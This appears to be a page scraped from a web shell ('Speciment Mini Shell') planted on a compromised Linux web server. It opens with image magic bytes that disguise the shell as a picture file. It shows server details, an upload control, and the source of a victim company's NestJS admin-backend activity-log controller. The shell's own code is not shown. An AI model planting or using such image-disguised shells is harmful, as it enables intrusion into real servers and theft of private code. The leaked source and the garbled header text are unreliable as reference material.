ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/activity-log/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/activity-log/activity-log.controller.ts

import { Controller, Get, Query, UseGuards } from '@nestjs/common';
import { ActivityLogService } from './activity-log.service';
import { ApiBearerAuth, ApiQuery, ApiTags } from '@nestjs/swagger';
import { AuthGuard } from 'src/guards/auth.guard';
import { Roles } from 'src/decorators/role.decorator';

@ApiTags('activity')
@ApiBearerAuth()
@UseGuards(AuthGuard)
@Controller('activity-log')
export class ActivityLogController {

    constructor(private readonly activityTypeService: ActivityLogService) {
    }

    @Roles('activity_list')
    @Get('/type')
    @ApiQuery({ name: 'offset', required: false })
    @ApiQuery({ name: 'limit', required: false })
    @ApiQuery({ name: 'sortByKey', required: false })
    @ApiQuery({ name: 'sortByType', required: false })
    @ApiQuery({ name: 'searchWith', required: false })
    async findAllType(@Query('offset') offset, @Query('limit') limit, @Query('sortByKey') sortByKey, @Query('sortByType') sortByType, @Query('searchWith') searchWith = '') {
        limit = limit ? limit : 10;
        offset = offset ? offset : 1;
        return this.activityTypeService.findAllType(offset, limit, sortByKey, sortByType, searchWith);
    }

    @Get('/log')
    @Roles('activity_list')
    @ApiQuery({ name: 'offset', required: false })
    @ApiQuery({ name: 'limit', required: false })
    @ApiQuery({ name: 'fromDate', required: false })
    @ApiQuery({ name: 'toDate', required: false })
    @ApiQuery({ name: 'status', required: false })
    async findAll(@Query('offset') offset, @Query('limit') limit, @Query('fromDate') fromDate = '',
    @Query('toDate') toDate = '',
    @Query('status') status = []) {
        limit = limit ? limit : 10;
        offset = offset ? offset : 1;
        return this.activityTypeService.findAllLog(offset, limit, fromDate, toDate, status);
    }

}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST